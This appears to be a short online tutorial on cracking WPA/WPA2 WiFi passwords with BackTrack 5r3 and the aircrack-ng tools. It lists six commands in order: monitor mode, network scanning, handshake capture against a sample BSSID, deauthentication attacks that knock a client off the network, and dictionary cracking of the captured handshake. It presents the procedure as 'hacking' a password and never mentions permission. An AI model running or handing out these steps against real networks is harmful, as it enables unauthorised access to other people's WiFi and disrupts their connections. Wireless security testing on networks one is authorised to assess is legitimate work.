How To Hack WiFi Password On Backtrack

How To Hack WiFi Password On Backtrack 5r3

This lecture is about wpa\wpa2 cracking.

Requirements for WPA\wpa2 cracking:

1= Backtrack 5r3

2= WiFi device

3= world-list file

The commands which we will need in wpa\wpa2 cracking are as under:

1= Airmon-ng

2= Airmon-ng start wlan0

3= Airodump-ng mon0

4= Airodump-ng -c ( channel ) -w ( file name to rite captured packets ) --bssid (bssid of network) mon0

5= Aireplay-ng --deauth 1 -a (bssid) mon0

6= Aircrack-ng (file name) -w( drag worldlist file )

Process . . . .

1= Open terminal and type first command:

Airmon-ng :

This command will shows the interfaces status. You need to change the status from managed mode to monitor mode. (As shown)

2= Now type second command :

Airmon-ng start wlan0 :

This command enables monitor mode on the wireless interface. (As shown)

3= Now type third command:

Airodump-ng mon0 :

This command will scane all networks. (AS shown)

4= Now type foruth command:
Airodump-ng -c ( channel ) -w ( file name to save captured packets ) --bssid (bssid of network) mon0 :
This cammand will scane a single network and you must have to wate untill you get handshake file .For our example, it would look like:
airodump-ng –w capture-packages –bssid 00:22:75:E7:6E:0B –c 11 mon0 (As Shown)

5= Now type fifth command :
Aireplay-ng --deauth 64 -a (bssid) mon0 :
This command will send deauth request if the data is not generating you can also increse the number of deauth requests.for our example, it would look like:
aireplay-ng --deauth 1 –a 00:22:75:E7:6E:0B –c F0:CB:A1:2A:FB:62 mon0. (As shown)

6= Now type sixth command :

NOTE: World-list should be in "/ROOT/PEN TEST/PASSWORDS/WORLD-LIST/"
Aircrack-ng (file name) -w( drag world-list file ) :
This command will crack the password. (As Shown)

Hope all of you get it.